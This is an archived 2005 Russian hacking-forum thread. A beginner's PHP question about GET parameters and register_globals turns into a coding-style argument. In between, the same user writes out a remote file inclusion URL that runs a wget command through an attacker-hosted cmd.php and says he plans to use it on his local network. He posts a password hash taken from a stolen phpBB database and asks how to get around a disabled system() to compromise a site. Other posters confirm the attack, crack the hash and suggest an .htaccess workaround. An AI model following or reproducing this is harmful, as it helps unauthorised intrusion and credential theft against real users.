Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

помогите плз, вот хрень какая-то с пшп

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Web-дизайн] >> помогите плз, вот хрень какая-то с пшп
Имя
Сообщение << Старые топики   Новые топики >>
помогите плз, вот хрень какая-то с пшп - 2005-02-10 13:38:47   
XMblPb

Сообщений: 245
Оценки: 0
Присоединился: 2005-01-11 19:39:40
вобщем, создал страничку примерно такого содержания:
<?
if (isset($ppp))
{
echo "sss-$ppp";
}
else
{
echo "no settings";
}
?>

захожу по ссылке http://mysite.ru/index.php?ppp=123
всё равно пишет "no settings"
почему?[sm=19.gif]
Post #: 1
помогите плз, вот хрень какая-то с пшп - 2005-02-10 13:41:44   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
<?
if (isset($_GET['ppp']))
echo "sss-$ppp";
else
echo "no settings";
?>
Post #: 2
помогите плз, вот хрень какая-то с пшп - 2005-02-10 13:50:27   
XMblPb

Сообщений: 245
Оценки: 0
Присоединился: 2005-01-11 19:39:40

Notice: Undefined variable: ppp in e:\http\www\index.php on line 3
sss-



дальше не идёт [sm=15.gif]
сорри конечно за глупые вопросы, но программер из меня хреновый[sm=8.gif]
Post #: 3
помогите плз, вот хрень какая-то с пшп - 2005-02-10 13:52:47   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
Сорри, вот это я ступил :)
Вот так должно работать:
<?
$ppp = $_GET['ppp'];
if (isset($ppp))
echo "sss-$ppp";
else
echo "no settings";
?>
Post #: 4
помогите плз, вот хрень какая-то с пшп - 2005-02-10 14:02:14   
XMblPb

Сообщений: 245
Оценки: 0
Присоединился: 2005-01-11 19:39:40
а как убрать сообщение об ошибке при заходе на страницу без параметров? (Notice: Undefined index: ppp in e:\http\www\index.php on line 2)
Post #: 5
помогите плз, вот хрень какая-то с пшп - 2005-02-10 14:04:17   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
<?
$ppp = @$_GET['ppp'];
if (isset($ppp))
echo "sss-$ppp";
else
echo "no settings";
?>
Post #: 6
помогите плз, вот хрень какая-то с пшп - 2005-02-10 14:10:00   
XMblPb

Сообщений: 245
Оценки: 0
Присоединился: 2005-01-11 19:39:40
спс огромное. ща почитал багтрак по поводу инклуд уязвимости и подумал, а что, получается что можно так утянуть любой файл? (к примеру, запрос такой= http://site.ru/index.php?page=http://hack.ru/cmd.php&cmd=wget http://ya.ru/index.php) на сайте site.ru по идее должен появиться файл index.php с яндекса. это так?
Post #: 7
помогите плз, вот хрень какая-то с пшп - 2005-02-10 14:44:28   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
Ну… при определённых усоловиях, да. Только на яндексе index.html :)
Post #: 8
помогите плз, вот хрень какая-то с пшп - 2005-02-10 15:00:33   
Maker

Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
Хм… Не проще было написать так:

<?php
if (isset($_GET['ppp']))
echo 'sss-'.$_GET['ppp'];
else
echo 'no settings';
?>

На счет скачать страницу с других сайтов: это определяется настройками сервера, и по умолчанию это функция сейчас почти у всех отключена…
Post #: 9
помогите плз, вот хрень какая-то с пшп - 2005-02-10 15:04:26   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
Если ты не заметил, я в первый раз так и хотел, просто забыл заменить в одном месте :)

Вообще это регулируется register_globals в php.ini.
Чтобы не регистрировать такие переменные нужно поставить значение в off
Post #: 10
помогите плз, вот хрень какая-то с пшп - 2005-02-10 15:33:46   
Maker

Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
Хотел. Но результат все же получился иным… Присвивать переменной знгачение, которого возможно нет - зачем?
Post #: 11
помогите плз, вот хрень какая-то с пшп - 2005-02-10 16:01:21   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
Если бы я не забыл заменить $ppp на $_GET['ppp'], получилось бы то же самое (о чём я исказал)
Просто в следующем примере всё сделано ещё более рационально.
Post #: 12
помогите плз, вот хрень какая-то с пшп - 2005-02-11 00:34:27   
Maker

Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
Возможно. Объясни плз, чем второй твой вариант более рационален?
Post #: 13
помогите плз, вот хрень какая-то с пшп - 2005-02-11 11:17:37   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
Ну, как минимум тем, что мы оперируем внутренней переменной, которая определяется один раз в начале скрипта.
Это очень удобно, так как при необходимости явно задать эту переменную (например, для отладки), а так же если нам, к примеру, понадобится переделать форму для POST, а не GET запросов, поменять достаточно будет только в одном месте, а не лазить по скрипту, протирая лоб и ужасаясь, с какого перепоя был написан этот код и что бы это могло значить [sm=1.gif]
Post #: 14
помогите плз, вот хрень какая-то с пшп - 2005-02-11 16:07:40   
Maker

Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
Ну и ну… Значит теперь создавать указатель на (возможно) пустую область рациональным…
Ну и ну… Значит теперь создание переменной там, где можно без нее обойтись считается рациональным…
Ну и ну… Даже не хочу смотреть твои скрипты: я все стараюсь упаковать в функции, чтобы не пришлось менять по всему движку…
Хм… В каком еще месте осталась рациональность?
Post #: 15
помогите плз, вот хрень какая-то с пшп - 2005-02-11 17:23:03   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
>> Ну и ну… Значит теперь создавать указатель на (возможно) пустую область рациональным…
Ты предлагаешь растыкать этот указатель по всему коду? Это по-твоему рациональность? Теперь уж моя очередь сказать "ну и ну".

К тому же, область не пустая. Если не будет параметра, будет просто переменная, содержащая NULL. Ты этого боишься? Для нас всё равно, поскольку далее она всё равно проверяется на существование и в случае отсутствия значения мы её не используем.

>> Ну и ну… Значит теперь создание переменной там, где можно без нее обойтись считается рациональным…
Я и не предлагаю клепать циклы на создание переменных. Но там, где это приемлемо, лучше работать с внутренней переменной, которая определяется в известном месте.

>> Ну и ну… Даже не хочу смотреть твои скрипты: я все стараюсь упаковать в функции, чтобы не пришлось менять по всему движку…
Хм… Очень надо мне тебе их показывать. Между прочим, я тоже всё стараюсь упаковать в функции, не думай, что ты первый до этого додумался. Только вот твои функции нужно будет переписывать целиком при использовании в другом приложении - ты каждый раз делаешь одну и ту же рутинную работу.
Мои же можно использовать вновь и вновь. Отсюда и это слово, к которому ты прицепился - рациональность.
Post #: 16
помогите плз, вот хрень какая-то с пшп - 2005-02-11 19:46:26   
XMblPb

Сообщений: 245
Оценки: 0
Присоединился: 2005-01-11 19:39:40
[p]
quote:

Ну… при определённых усоловиях, да. Только на яндексе index.html :)<BR><BR> <BR>
quote:


<BR><BR>спс. я в локалке буду делать, там ламеры полные сидят.<BR>ЗЫ. скажи плиз, как расшифровать пасс, стянутый из MySQL<BR> базы, пасс форума пшпбб 2.0.8, пасс такой: 182340c28a4350468fce307ff1bab29e
Post #: 17
помогите плз, вот хрень какая-то с пшп - 2005-02-12 17:34:51   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
quote:

—————-<BR>Цитата: Дата:11.02.2005 19:46:26, Автор:XMblPb ::
[p]
quote:

Ну… при определённых усоловиях, да. Только на яндексе index.html :)<BR><BR><BR> <BR><BR>
quote:


<BR><BR><BR>спс. я в локалке буду делать, там ламеры полные сидят.<BR><BR>ЗЫ. скажи плиз, как расшифровать пасс, стянутый из MySQL<BR><BR> базы, пасс форума пшпбб 2.0.8, пасс такой: 182340c28a4350468fce307ff1bab29e
—————-


А чего его расшифровывать
Пароль - 15192 [sm=9.gif]
Post #: 18
помогите плз, вот хрень какая-то с пшп - 2005-02-12 18:24:20   
XMblPb

Сообщений: 245
Оценки: 0
Присоединился: 2005-01-11 19:39:40
хех
а как можно узнать? какой типа алгоритм зашифровки?
Post #: 19
помогите плз, вот хрень какая-то с пшп - 2005-02-12 19:44:33   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
Алгоритм MD5, расшифровать можно например с помощью программы passwordsPRO
Post #: 20
помогите плз, вот хрень какая-то с пшп - 2005-02-13 11:53:22   
XMblPb

Сообщений: 245
Оценки: 0
Присоединился: 2005-01-11 19:39:40
спс, а то я сорвал в локалке бд форума, а пассов не знаю [sm=1.gif]
Post #: 21
помогите плз, вот хрень какая-то с пшп - 2005-02-15 12:02:20   
Maker

Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
Lex_Voodoo, ты уж извини, но коммерческим программированием ты видно не занимаешься…..

>>Ты предлагаешь растыкать этот указатель по всему коду? Это по-твоему рациональность? Теперь уж моя очередь сказать "ну и ну".

Не в ком случае! Для данного конкретного примера растыкать указатель более рационально. В других случаях сначала выполнить проверку, а потом присваивать.

>>К тому же, область не пустая. Если не будет параметра, будет просто переменная, содержащая НУЛЬ. Ты этого боишься? Для нас всё равно, поскольку далее она всё равно проверяется на существование и в случае отсутствия значения мы её не используем.

А ты считаешь, что указатель на область памяти ничего не весит? Для одно раза это не критично, а для портала в 1000 посещений (особенно когда несколько запросов одновременно)? А если у тебя не одна (как в этом простеньком примере), а 3? А 5? А 30?

>>Я и не предлагаю клепать циклы на создание переменных. Но там, где это приемлемо, лучше работать с внутренней переменной, которая определяется в известном месте.

Какое совпадение - я тоже [sm=2.gif]. Но, как я и сказал выше, лучше все-таки сначала проверить…

>>Между прочим, я тоже всё стараюсь упаковать в функции, не думай, что ты первый до этого додумался. Только вот твои функции нужно будет переписывать целиком при использовании в другом приложении - ты каждый раз делаешь одну и ту же рутинную работу.

Хм… Да я вроде и не говорил, что я первый… Это называется структурное программирование… И. один раз написав функцию, я использую ее в последующих проектах без изменений, вообще-то… Это называется рационализация труда. Ты хоть видел одну мою функцию? Нет. Так как ты можешь говорить, что их нельзя использовать? Абсолютно беспочвенное утверждение!
А все, о чем мы говорили выше, называется оптимизация, поэтому я так к слову и привязался…
Post #: 22
помогите плз, вот хрень какая-то с пшп - 2005-02-17 09:58:45   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
>> Для данного конкретного примера растыкать указатель более рационально. В других случаях сначала выполнить проверку, а потом присваивать.

>> Для одно раза это не критично, а для портала в 1000 посещений (особенно когда несколько запросов одновременно)? А если у тебя не одна (как в этом простеньком примере), а 3? А 5? А 30?

Ты уж определись, пожалуйста, ты споришь о рациональности в данном конкретном примере , или про твои разработки для Майкрософт, или где ты там ещё занимаешься "коммерческим программированием".

Человек только начал изучать PHP, пытается разобраться в особенностях передачи параметров скрипту. Так?

Ты предлагаешь ему:
<BR>if (isset($_GET['ppp'])) <BR> echo 'sss-'.$_GET['ppp'];<BR>else<BR> echo 'no settings';<BR>
А если после этого, допустим, нужно будет вывести не GET, а POST-переменную?
И будет он менять все GET['ppp'] на POST['ppp']. И тут ещё минимум кода - а если там будут производиться какие-нибудь операции с этими переменными, и их там "понатыкано" штук 20 "для того, чтобы сэкономить память". Что ему, из-за того, что кто-то пожадничал на одну переменную, выковыривать все $_GET? Конечно же да, иначе если что вдруг случится, лишний NULL непременно съест у него все Мб оперативки, что ты!!

Вот - исходный код:
<BR>$ppp = @$_GET['ppp'];<BR>if (isset($ppp))<BR> echo &quot;sss-$ppp&quot;;<BR>else<BR> echo &quot;no settings&quot;;<BR>

Нужно принять POST параметр? Да пожалуйста:
<BR>$ppp = @$_POST['ppp'];<BR>if (isset($ppp))<BR> echo &quot;sss-$ppp&quot;;<BR>else<BR> echo &quot;no settings&quot;;<BR>

Нужно сделать проверку на тип переменной? На здоровье!
<BR>if(gettype($_GET['ppp']) == &quot;integer&quot;)<BR> $ppp = @$_GET['ppp'];<BR>elseif (gettype($_GET['ppp']) == &quot;float&quot;)<BR> $ppp = round($_GET['ppp'], 1);<BR>else<BR> $ppp = NULL;<BR><BR>// Далее весь тот код, который был до этого БЕЗ ИЗМЕНЕНИЯ!<BR>if (isset($ppp))<BR> echo &quot;sss-$ppp&quot;;<BR>else<BR> echo &quot;no settings&quot;;<BR>

Нужно запихать всё это в твои любимые функции? Легко:
<BR>if(gettype($_GET['ppp']) == &quot;integer&quot;)<BR> $ppp = @$_GET['ppp'];<BR>elseif (gettype($_GET['ppp']) == &quot;float&quot;)<BR> $ppp = round($_GET['ppp'], 1);<BR>else<BR> $ppp = NULL;<BR><BR>print_ppp($ppp);<BR>// Либо так, если не нужны проверки:<BR>// print_ppp($_GET['ppp']);<BR><BR>function print_ppp($ppp) {<BR> if (isset($ppp))<BR> echo &quot;sss-$ppp&quot;;<BR>else<BR> echo &quot;no settings&quot;;<BR>}<BR>
Прошу отметить, что и в этом случае исходный код остался без изменения.
Сомневаюсь, что две-три, или даже (о, боже!) четыре "лишних", по-твоему, переменных подвесят сервер - при том, что их может быть и несколько сотен и больше. А вот время программиста это съкономит ещё как.
Конечно же, если тов. XMblPb не занимается критическим программированием и не пишет разработки для NASA (в чём я лично сильно сомневаюсь).
Post #: 23
помогите плз, вот хрень какая-то с пшп - 2005-02-17 11:49:24   
Maker

Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
Lex_Voodoo, ты говоришь, конечно все правильно, но! прочитай еще раз плз, что я написал:
>>Не в ком случае! Для данного конкретного примера растыкать указатель более рационально. В других случаях сначала выполнить проверку, а потом присваивать.

Просто раз уж ты взялся объяснять человеку, то учи его сразу правильному программированию, чтобы потом ему не переучиваться
Post #: 24
помогите плз, вот хрень какая-то с пшп - 2005-02-17 12:11:03   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
В процессе обучения правильно то, что понятно, потому что если всё понятно, то можно этот код хоть задом наперёд переписать и всё будет работать. А вот если начать сразу грузиться классами, ооп и прочим, то можно вообще потерять к этому всякий интерес.

Начинать надо с простого и удобного. Остальное прибудет.

З.Ы.
>> Для данного конкретного примера растыкать указатель более рационально
Я думал, что ты со мной споришь, поэтому автоматом понял всё наоборот :)
Post #: 25
помогите плз, вот хрень какая-то с пшп - 2005-02-17 17:36:43   
XMblPb

Сообщений: 245
Оценки: 0
Присоединился: 2005-01-11 19:39:40
хех, ну ни фига себе! я думал, мой пост опять останется незамеченым, а тут такое… [sm=1.gif]
обоим вам спасибо, не волнуйтесь, учусь я быстро, мне в школе все учителя об этом говорят [sm=1.gif]
ЗЫ. тут вопрос появился, а можно ли обойти запрет вызова system() в пшп? т.е. решил я поиметь сайт через инклуд багу, а там с system() облом. [sm=15.gif]
Post #: 26
помогите плз, вот хрень какая-то с пшп - 2005-02-18 10:32:06   
Maker

Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
Если на сайте позволяют делать .htaccess , то в нем ставишь нужные тебе настройки сервера, если нет - то никак…

P.S. Lex_Voodoo, ну вот вроде и разобрались… [sm=2.gif]
Post #: 27
Страниц:  [1]
Все форумы >> [Web-дизайн] >> помогите плз, вот хрень какая-то с пшп







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.